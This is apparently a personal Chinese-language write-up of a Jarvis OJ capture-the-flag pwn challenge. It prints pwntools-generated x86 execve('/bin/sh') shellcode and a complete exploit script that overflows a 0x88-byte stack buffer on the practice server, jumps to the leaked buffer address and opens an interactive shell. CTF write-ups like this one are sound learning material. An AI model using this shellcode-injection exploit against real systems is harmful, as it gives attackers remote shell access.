首先介绍一下pwntools的一个用法吧算是。
from pwn import*
shellcraft.sh()
然后,pwntools这个只能工具就会帮你写出一串shellcode来。
大致是这样的:
u" /* execve(path='/bin///sh', argv=['sh'], envp=0) */\n /* push '/bin///sh\\x00' */\n push 0x68\n push 0x732f2f2f\n push 0x6e69622f\n mov ebx, esp\n /* push argument array ['sh\\x00'] */\n /* push 'sh\\x00\\x00' */\n push 0x1010101\n xor dword ptr [esp], 0x1016972\n xor ecx, ecx\n push ecx /* null terminate */\n push 4\n pop ecx\n add ecx, esp\n push ecx /* 'sh\\x00' */\n mov ecx, esp\n xor edx, edx\n /* call execve() */\n push SYS_execve /* 0xb */\n pop eax\n int 0x80\n"
程序是这个样子的,很容易就发现,buf只有0x88个大小,却被用来接收0x100的数据,会发生栈溢出。
得到了buf的地址,只需再加上0x88即可。
因此,很容易就写出来了exp(是我太菜了,一点都不容易…)
from pwn import *
p = remote("pwn2.jarvisoj.com","9877")
shellcode = asm(shellcraft.sh())
a = p.recvline()
buf_adr = int(a[14:-2],16)
payload = shellcode+'a'*(0x88+0x4-len(shellcode))+p32(buf_adr)
p.send(payload)
p.interactive()
int(a[14:-2],16)那一句是为了将16进制的字符串变为整数(????为什么变为十进制整数,不应该变为16进制的整数嘛,但是我尝试加了一个hex()之后,就又不对了)
然后就得到了flag
怎么说呢…
不知道为什么,明明很简单的一道题花了这么长时间